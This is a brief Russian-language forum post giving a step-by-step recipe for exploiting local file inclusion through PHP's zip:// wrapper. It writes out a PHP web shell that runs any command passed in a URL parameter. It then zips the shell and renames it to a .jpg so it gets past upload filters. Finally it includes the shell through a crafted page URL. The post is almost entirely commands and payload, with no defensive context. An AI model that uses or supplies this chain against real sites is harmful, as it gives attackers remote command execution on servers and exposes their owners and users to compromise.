LFI с wrapper ZIP делается примерно так:
Wrapper zip://
- Create an evil payload: echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
- Zip the file
Bash:
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php- Upload the archive and access the file using the wrappers: http://example.com/index.php?page=zip://shell.jpg#payload.php
Комментарии
1